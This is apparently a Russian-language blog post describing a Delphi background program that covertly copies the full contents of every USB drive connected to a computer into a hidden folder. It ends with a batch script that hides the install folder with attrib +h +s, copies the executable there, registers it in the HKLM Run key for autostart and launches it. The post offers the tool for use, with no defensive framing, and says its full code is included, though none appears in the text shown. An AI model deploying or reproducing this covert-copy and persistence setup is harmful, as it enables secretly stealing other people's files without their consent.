Пишем программу теневого копирования

В феврале публикую статью о том как написать программу скрытого копирования файлов с подключаемого съемного носителя, все комментарии в этот раз в коде, а код представлен целиком.
Переключение конфигурации на релиз, а целевой платформы на x64

Программа представляет из себя небольшой сервис для теневого (скрытого) копирования всех подключаемых к USB носителей.
Написана на Delphi XE3 в UNICODE кодировке в двух версиях 32 и 64 бит с использованием API. Когда-то возникала потребность написать подобную программу.
Принцип работы следующий:
После запуска отслеживает подключение съёмных носителей и при подключении носителя копирует всё его содержимое в папку под именем состоящим из цифр серийного номера носителя созданную рядом со своим исполняемым файлом. В данной папке создаётся файл _CONNECT_INFO.TXT в котором содержится информация о подключенном устройстве и дата подключения.

Есть 2 горячие клавиши : Alt+Shift+F3 — Приостановка/Старт детектирования устройств т.е. нажав это сочетание и подключив носитель, программа не станет его копировать, нажав ещё раз детектирование будет возобновлено. Alt+Shift+F4 — Закрыть программу (т.к. программа работает в фоновом режиме и закрыть её можно только в диспетчере задач).

Реализована многопоточность, то-есть подключив 2 устройства копирование пойдёт сразу с обоих носителей в разных потоках. Работоспособность этого не проверялась…

Также приведу 2 готовых cmd bat файла для установки в систему на диск D, которые можно изменить на своё усмотрение. Данную программу можно использовать установив в скрытую папку

дальше привожу пример скрипта для копирования программы на компьютер, и добавления ее в автозагрузку

@md D:\USB
@ATTRIB +h +S D:\USB
@copy usb64.exe D:\USB\usb64.exe
@reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v USBService /t REG_SZ /d D:\USB\usb64.exe /f
@start D:\USB\usb64.exe

Опубликовано

в

,

Изменено